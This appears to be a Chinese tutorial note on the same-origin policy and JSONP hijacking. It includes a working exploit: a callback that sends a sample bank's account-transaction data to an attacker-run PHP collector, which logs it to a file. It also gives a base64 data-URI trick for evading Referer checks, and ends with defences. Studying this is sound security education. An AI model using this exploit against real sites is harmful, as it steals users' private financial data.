参考文献:https://segmentfault.com/a/1190000009577990
http://www.codesec.net/view/172245.html
http://www.freebuf.com/articles/web/126347.html
https://www.jianshu.com:80/writer
https:协议; www:子域名; jianshu主域名; 80:端口号;
跨域:用户对不同协议或不同域名或不同端口号的资源进行访问
同源策略规定:XHR对象(ajax功能实现所依赖的对象)只能访问与包含它的页面位于同一域中的资源,有利于预防一些恶意行为。
同源:即同一域,即相同协议&相同端口&相同域名&相同子域名
XHR对象:XMLHttpRequest 对象提供了对 HTTP 协议的完全的访问,包括 POST ,HEAD,GET。XHR 可以同步或异步地返回 Web 服务器的响应,并且能够以文本或者一个 DOM 文档的形式返回内容。XHR接口强制要求每个请求都具备严格的HTTP语义–应用提供数据和URL,浏览器格式化请求并管理每个连接的完整生命周期,所以XHR仅仅允许应用自定义一些HTTP首部,但更多的首部是不能自己设定的
在HTML语言中,不受同源策略的限制的标签:
<script>
<img>
<iframe>
<link>
JSONP解决跨域问题:
JSONP不能访问非本域的动态资源,但是类似js文件、样式、图片等静态资源是可以访问的,通过这个"漏洞"来解决跨域问题。用<script>标签中的src来写入跨域数据的url,这样就能绕过同源策略了。
JSONP常用于服务器与客户端跨源通信,JSONP只支持GET请求,不支持POST请求,JSONP基本语法:
callback({ "name": "kwan" , "msg": "获取成功" });
JSONP两部分组成:回调函数和里面的数据
。回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定。
JSONP原理:动态插入带有跨域url的<script>标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。
利用场景
①在响应中回调函数被硬编码
- 基础函数调用
- 对象方法调用
②动态调用回调函数 - URL完全可控(GET变量):回调函数在URL中指定,我们可以完全控制它。
- URL部分可控(GET变量),但是附加有一个数字,每个会话都不同
- URL可控,但最初不会显示在请求之中
最后一个场景涉及一个没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。
如果有以下API调用verysecurebank.ro/getAccountTransactions,我们可以尝试去猜猜回调函数的变量
verysecurebank.ro/getAccountTransactions?callback=test
verysecurebank.ro/getAccountTransactions?cb=test
其他的常见的函数回调名还有func、function、call、jsonp、jsonpcallback,jcb
基础数据抓取
将数据抓取回我们本地。以下为一个简单的JSONP数据抓取:
<script>
function test(data){
var xmlhttp = new XMLHttpRequest();
var url = "http://127.0.0.1/1.php?data=" + JSON.stringify(data);//data是一个对象,所以用JSON.stringify
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://verysecurebank.ro/getAccountTransactions?callback=test"></script>
1.php内容
<?php
$data=$_GET['data'];
$f=fopen('data.txt','a');
fwrite($f,$data);
fclose($f);
?>
如果在响应头API请求头配置:
Content-type: application/json;charset=utf-8
X-Content-Type-Options:nosniff;
Console输出如下:
在响应中API请求头X-Content-Type-Options
被设置为nosniff
,Content-Type
必须设置为JavaScript(text/javascript, application/javascript, text/ecmascript
等.)才能在所有浏览器中运行.
Referer检测绕过
使用data URI方案
如果这里有一个Referer检测,为了绕过检测我们可以选择不发送。可以引用Data URI。
构造一个不带HTTP Referer的请求,可以滥用data URI
方案。因为我们正在处理的代码包含了引号,双引号,以及其他一些被阻止的语句,接着使用base64编码我们的payload(回调函数定义以及脚本包含)
data:text/plain;base64our_base64_encoded_code
防止jsonp hacking
最直接最有效的方法便是CORS
完全移除JSONP函数
向API响应添加Access-Control-Allow-Origin header
使用跨域AJAX请求
添加Token